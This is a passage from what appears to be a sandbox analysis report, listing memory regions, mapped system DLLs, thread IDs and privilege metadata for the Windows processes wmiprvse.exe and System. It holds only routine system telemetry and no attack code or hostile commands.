"\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1137 start_va = 0x7fefe350000 end_va = 0x7fefe35dfff entry_point = 0x7fefe350000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1138 start_va = 0x7feff0f0000 end_va = 0x7feff2c6fff entry_point = 0x7feff0f0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 1139 start_va = 0x7feff2d0000 end_va = 0x7feff2d7fff entry_point = 0x7feff2d0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1140 start_va = 0x7feff2e0000 end_va = 0x7feff350fff entry_point = 0x7feff2e0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1141 start_va = 0x7feff490000 end_va = 0x7feff4dcfff entry_point = 0x7feff490000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1142 start_va = 0x7feff740000 end_va = 0x7feff81afff entry_point = 0x7feff740000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1143 start_va = 0x7feff820000 end_va = 0x7feff94cfff entry_point = 0x7feff820000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1144 start_va = 0x7feff950000 end_va = 0x7feff97dfff entry_point = 0x7feff950000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1145 start_va = 0x7feff990000 end_va = 0x7feff990fff entry_point = 0x7feff990000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1146 start_va = 0x7fffff92000 end_va = 0x7fffff93fff entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 1147 start_va = 0x7fffff94000 end_va = 0x7fffff95fff entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 1148 start_va = 0x7fffff96000 end_va = 0x7fffff97fff entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 1149 start_va = 0x7fffff98000 end_va = 0x7fffff99fff entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 1150 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 1151 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 1152 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 1153 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 1154 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 1155 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 1156 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 1157 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 1158 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 1159 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 1160 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1161 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1162 start_va = 0x7fffffd3000 end_va = 0x7fffffd3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1163 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 1164 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 1165 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 1166 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 1167 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1168 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Thread: id = 86 os_tid = 0xb40 Thread: id = 87 os_tid = 0xb08 Thread: id = 88 os_tid = 0xac8 Thread: id = 89 os_tid = 0x9f0 Thread: id = 90 os_tid = 0x87c Thread: id = 91 os_tid = 0x41c Thread: id = 92 os_tid = 0x210 Thread: id = 93 os_tid = 0x5e0 Thread: id = 94 os_tid = 0x5e4 Thread: id = 95 os_tid = 0x5dc Thread: id = 96 os_tid = 0x5d8 Thread: id = 97 os_tid = 0x5c8 Thread: id = 98 os_tid = 0x134 Thread: id = 99 os_tid = 0x124 Thread: id = 100 os_tid = 0x3c4 Thread: id = 101 os_tid = 0x3bc Thread: id = 102 os_tid = 0x3ac Thread: id = 103 os_tid = 0x300 Thread: id = 104 os_tid = 0x2fc Thread: id = 105 os_tid = 0x2d8 Thread: id = 106 os_tid = 0x2cc Thread: id = 121 os_tid = 0x604 Thread: id = 122 os_tid = 0x8e0 Process: id = "10" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x31fcf000" os_pid = "0x274" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0x374" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000cf06" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 1193 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1194 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1195 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1196 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1197 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1198 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 1199 start_va = 0xd0000 end_va = 0x14ffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 1200 start_va = 0x150000 end_va = 0x156fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 1201 start_va = 0x160000 end_va = 0x161fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 1202 start_va = 0x170000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 1203 start_va = 0x1f0000 end_va = 0x2effff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 1204 start_va = 0x2f0000 end_va = 0x2fffff entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 1205 start_va = 0x300000 end_va = 0x300fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000300000" filename = "" Region: id = 1206 start_va = 0x310000 end_va = 0x310fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 1207 start_va = 0x320000 end_va = 0x320fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 1208 start_va = 0x3b0000 end_va = 0x4affff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 1209 start_va = 0x4b0000 end_va = 0x637fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004b0000" filename = "" Region: id = 1210 start_va = 0x640000 end_va = 0x7c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000640000" filename = "" Region: id = 1211 start_va = 0x7d0000 end_va = 0x88ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007d0000" filename = "" Region: id = 1212 start_va = 0x890000 end_va = 0x98ffff entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 1213 start_va = 0x990000 end_va = 0xc5efff entry_point = 0x990000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1214 start_va = 0xc60000 end_va = 0x1052fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c60000" filename = "" Region: id = 1215 start_va = 0x1070000 end_va = 0x10effff entry_point = 0x0 region_type = private name = "private_0x0000000001070000" filename = "" Region: id = 1216 start_va = 0x10f0000 end_va = 0x116ffff entry_point = 0x0 region_type = private name = "private_0x00000000010f0000" filename = "" Region: id = 1217 start_va = 0x11c0000 end_va = 0x123ffff entry_point = 0x0 region_type = private name = "private_0x00000000011c0000" filename = "" Region: id = 1218 start_va = 0x1250000 end_va = 0x12cffff entry_point = 0x0 region_type = private name = "private_0x0000000001250000" filename = "" Region: id = 1219 start_va = 0x1390000 end_va = 0x140ffff entry_point = 0x0 region_type = private name = "private_0x0000000001390000" filename = "" Region: id = 1220 start_va = 0x1500000 end_va = 0x157ffff entry_point = 0x0 region_type = private name = "private_0x0000000001500000" filename = "" Region: id = 1221 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x77450000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1222 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x77550000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1223 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1224 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1225 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1226 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1227 start_va = 0xff100000 end_va = 0xff15efff entry_point = 0xff100000 region_type = mapped_file name = "wmiprvse.exe" filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe") Region: id = 1228 start_va = 0x7fef6e90000 end_va = 0x7fef6ea5fff entry_point = 0x7fef6e90000 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 1229 start_va = 0x7fef7020000 end_va = 0x7fef7033fff entry_point = 0x7fef7020000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1230 start_va = 0x7fef7320000 end_va = 0x7fef732efff entry_point = 0x7fef7320000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 1231 start_va = 0x7fef7330000 end_va = 0x7fef7356fff entry_point = 0x7fef7330000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 1232 start_va = 0x7fef7360000 end_va = 0x7fef7441fff entry_point = 0x7fef7360000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1233 start_va = 0x7fef7490000 end_va = 0x7fef7515fff entry_point = 0x7fef7490000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 1234 start_va = 0x7fefb520000 end_va = 0x7fefb54cfff entry_point = 0x7fefb520000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1235 start_va = 0x7fefcbb0000 end_va = 0x7fefcbf6fff entry_point = 0x7fefcbb0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1236 start_va = 0x7fefceb0000 end_va = 0x7fefcec6fff entry_point = 0x7fefceb0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1237 start_va = 0x7fefd4b0000 end_va = 0x7fefd4befff entry_point = 0x7fefd4b0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1238 start_va = 0x7fefd5a0000 end_va = 0x7fefd5b3fff entry_point = 0x7fefd5a0000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1239 start_va = 0x7fefd920000 end_va = 0x7fefd98afff entry_point = 0x7fefd920000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1240 start_va = 0x7fefdb10000 end_va = 0x7fefdbaefff entry_point = 0x7fefdb10000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1241 start_va = 0x7fefdbb0000 end_va = 0x7fefdc86fff entry_point = 0x7fefdbb0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1242 start_va = 0x7fefdc90000 end_va = 0x7fefdcf6fff entry_point = 0x7fefdc90000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1243 start_va = 0x7fefdd00000 end_va = 0x7fefddc8fff entry_point = 0x7fefdd00000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1244 start_va = 0x7fefddf0000 end_va = 0x7fefdff2fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1245 start_va = 0x7fefe000000 end_va = 0x7fefe098fff entry_point = 0x7fefe000000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1246 start_va = 0x7fefe0a0000 end_va = 0x7fefe1a8fff entry_point = 0x7fefe0a0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1247 start_va = 0x7fefe1b0000 end_va = 0x7fefe201fff entry_point = 0x7fefe1b0000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 1248 start_va = 0x7fefe330000 end_va = 0x7fefe34efff entry_point = 0x7fefe330000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1249 start_va = 0x7fefe350000 end_va = 0x7fefe35dfff entry_point = 0x7fefe350000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1250 start_va = 0x7feff2d0000 end_va = 0x7feff2d7fff entry_point = 0x7feff2d0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1251 start_va = 0x7feff490000 end_va = 0x7feff4dcfff entry_point = 0x7feff490000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1252 start_va = 0x7feff740000 end_va = 0x7feff81afff entry_point = 0x7feff740000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1253 start_va = 0x7feff820000 end_va = 0x7feff94cfff entry_point = 0x7feff820000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1254 start_va = 0x7feff950000 end_va = 0x7feff97dfff entry_point = 0x7feff950000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1255 start_va = 0x7feff990000 end_va = 0x7feff990fff entry_point = 0x7feff990000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1256 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1257 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1258 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1259 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1260 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 1261 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 1262 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 1263 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 1264 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 1265 start_va = 0x7feef410000 end_va = 0x7feef44bfff entry_point = 0x7feef410000 region_type = mapped_file name = "wmiprov.dll" filename = "\\Windows\\System32\\wbem\\wmiprov.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprov.dll") Region: id = 1266 start_va = 0x7fef6ff0000 end_va = 0x7fef7015fff entry_point = 0x7fef6ff0000 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 1268 start_va = 0x1430000 end_va = 0x14affff entry_point = 0x0 region_type = private name = "private_0x0000000001430000" filename = "" Region: id = 1269 start_va = 0x7feee770000 end_va = 0x7feee7b7fff entry_point = 0x7feee770000 region_type = mapped_file name = "mofd.dll" filename = "\\Windows\\System32\\wbem\\mofd.dll" (normalized: "c:\\windows\\system32\\wbem\\mofd.dll") Region: id = 1270 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Thread: id = 111 os_tid = 0x474 Thread: id = 112 os_tid = 0x414 Thread: id = 113 os_tid = 0x790 Thread: id = 114 os_tid = 0x564 Thread: id = 115 os_tid = 0x510 Thread: id = 116 os_tid = 0x778 Thread: id = 117 os_tid = 0x324 Thread: id = 118 os_tid = 0x244 Process: id = "11" image_name = "System" filename = "" page_root = "0x187000" os_pid = "0x4" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "kernel_analysis" parent_id = "0" os_parent_pid = "0x0" cmd_line = "" cur_dir = "" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Region: id = 1398 start_va = 0x10000 end_va = 0x32fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1399 start_va = 0x77c30000 end_va = 0x77dd8fff entry_point = 0x77c30000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1400 start_va = 0x77e10000 end_va = 0x77f8ffff entry_point = 0x77e10000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1401 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Thread: id = 127 os_tid = 0x8 Thread: id = 128 os_tid = 0xc8 Thread: id = 129 os_tid = 0xc0 Thread: id = 130 os_tid = 0x40 Thread: id = 131 os_tid = 0x44 Thread: id = 132 os_tid = 0x64 Thread: id = 133 os_tid = 0xc4 Thread: id = 134 os_tid = 0x4c Thread: id = 135 os_tid = 0x48 Thread: id = 136 os_tid = 0x2c Thread: id = 137 os_tid = 0xb8 Thread: id = 138 os_tid = 0xf4 Thread: id = 139 os_tid = 0xf8 Thread: id = 140 os_tid = 0x104 Thread: id = 141 os_tid = 0x28 Thread: id = 142 os_tid = 0x108 Thread: id = 143 os_tid = 0x30 Thread: id = 144 os_tid = 0x5c Thread: id = 145 os_tid = 0x100 Thread: id = 146 os_tid = 0x90 Thread: id = 147 os_tid = 0xb0 Thread: id = 148 os_tid = 0xfc Thread: id = 149 os_tid = 0x9c Thread: id = 150 os_tid = 0x78 Thread: id = 151 os_tid = 0x34 Thread: id = 152 os_tid = 0x110 Thread: id = 153 os_tid = 0x80 Thread: id = 154 os_tid = 0x8c Thread: id = 155 os_tid = 0xb4 Thread: id = 156 os_tid = 0x114 Thread: id = 157 os_tid = 0x84 Thread: id = 158 os_tid = 0x24 Thread: id = 159 os_tid = 0x68 Thread: id = 160 os_tid = 0x0 Thread: id = 161 os_tid = 0x12c Thread: id = 162 os_tid = 0x130 Thread: id = 163 os_tid = 0x134 Thread: id = 164 os_tid = 0x138 Thread: id = 165 os_tid = 0x174 Thread: id = 166 os_tid = 0xdc Thread: id = 167 os_tid = 0x98 Thread: id = 168 os_tid = 0x60 Thread: id = 169 os_tid = 0x74 Thread: id = 170 os_tid = 0x268 Thread: id = 171 os_tid = 0x2e4 Thread: id = 172 os_tid = 0x88 Thread: id = 173 os_tid = 0x3b4 Thread: id = 174 os_tid = 0x20 Thread: id = 175 os_tid = 0x450 Thread: id = 176 os_tid = 0x468 Thread: id = 177 os_tid = 0x94 Thread: id = 178 os_tid = 0x570 Thread: id = 179 os_tid = 0x5b0 Thread: id = 180 os_tid = 0x5c0 Thread: id = 181 os_tid = 0x5c8 Thread: id = 182 os_tid = 0x5cc Thread: id = 183 os_tid = 0x61c Thread: id = 184 os_tid = 0x68c Thread: id = 185 os_tid = 0x6a0 Thread: id = 186 os_tid = 0x6a8 Thread: id = 187 os_tid = 0x6b4 Thread: id = 188 os_tid = 0x6b8 Thread: id = 189 os_tid = 0x6c0 Thread: id = 190 os_tid = 0x50 Thread: id = 191 os_tid = 0x1c Thread: id = 192 os_tid = 0x470